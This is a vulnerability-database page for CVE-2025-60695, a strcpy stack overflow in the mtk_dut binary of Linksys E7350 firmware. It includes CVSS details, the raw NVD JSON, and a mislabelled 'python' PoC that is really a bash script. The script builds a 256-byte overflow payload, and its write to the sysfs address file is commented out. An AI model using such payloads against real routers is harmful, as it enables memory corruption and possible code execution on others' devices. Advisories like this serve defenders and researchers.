Security Vulnerability Report
中文
CVE-2025-60695 CVSS 5.9 MEDIUM

CVE-2025-60695

Published: 2025-11-13 17:15:50
Last Modified: 2025-11-17 19:55:43

Description

A stack-based buffer overflow vulnerability exists in the mtk_dut binary of Linksys E7350 routers (Firmware 1.1.00.032). The function sub_4045A8 reads up to 256 bytes from /sys/class/net/%s/address into a local buffer and then copies it into caller-provided buffer a1 using strcpy without boundary checks. Since a1 is often allocated with significantly smaller sizes (20-32 bytes), local attackers controlling the contents of /sys/class/net/%s/address can trigger buffer overflows, leading to memory corruption, denial of service, or potential arbitrary code execution.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:linksys:e7350_firmware:1.1.00.032:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:linksys:e7350:-:*:*:*:*:*:*:* - NOT VULNERABLE
Linksys E7350 固件 < 1.1.00.032

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-60695 PoC - Linksys E7350 Stack Buffer Overflow # This PoC demonstrates the buffer overflow in mtk_dut binary # Note: This requires local access to the router # Typical vulnerable path: /sys/class/net/%s/address # For demonstration, create a mock scenario VULNERABLE_FUNCTION="sub_4045A8" BUFFER_SIZE=32 OVERFLOW_DATA_SIZE=256 # Generate overflow payload (256 bytes of 'A') PAYLOAD=$(python3 -c "print('A' * 256)") # Simulate writing to the address file echo "[*] Simulating overflow attack..." echo "[*] Target buffer size: $BUFFER_SIZE bytes" echo "[*] Overflow data size: $OVERFLOW_DATA_SIZE bytes" echo "[*] Overflow amount: $((OVERFLOW_DATA_SIZE - BUFFER_SIZE)) bytes" # In actual attack, this would be written to /sys/class/net/%s/address # echo "$PAYLOAD" > /sys/class/net/eth0/address # Trigger the vulnerable function # This would typically be done through the web interface or UART access echo "[+] Payload generated successfully" echo "[+] Use with appropriate router access to trigger vulnerability"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60695", "sourceIdentifier": "[email protected]", "published": "2025-11-13T17:15:49.503", "lastModified": "2025-11-17T19:55:43.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow vulnerability exists in the mtk_dut binary of Linksys E7350 routers (Firmware 1.1.00.032). The function sub_4045A8 reads up to 256 bytes from /sys/class/net/%s/address into a local buffer and then copies it into caller-provided buffer a1 using strcpy without boundary checks. Since a1 is often allocated with significantly smaller sizes (20-32 bytes), local attackers controlling the contents of /sys/class/net/%s/address can trigger buffer overflows, leading to memory corruption, denial of service, or potential arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:e7350_firmware:1.1.00.032:*:*:*:*:*:*:*", "matchCriteriaId": "F262DB25-2184-4755-A3B3-DE21D743D0BF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:e7350:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFB82A85-4363-480C-83D9-071E81C842EB"}]}]}], "references": [{"url": "http://linksys.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/Linksys/Linksys-E7350/CVE-2025-60695.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linksys.com/", "source": "[email protected]", "tags": ["Product"]}]}}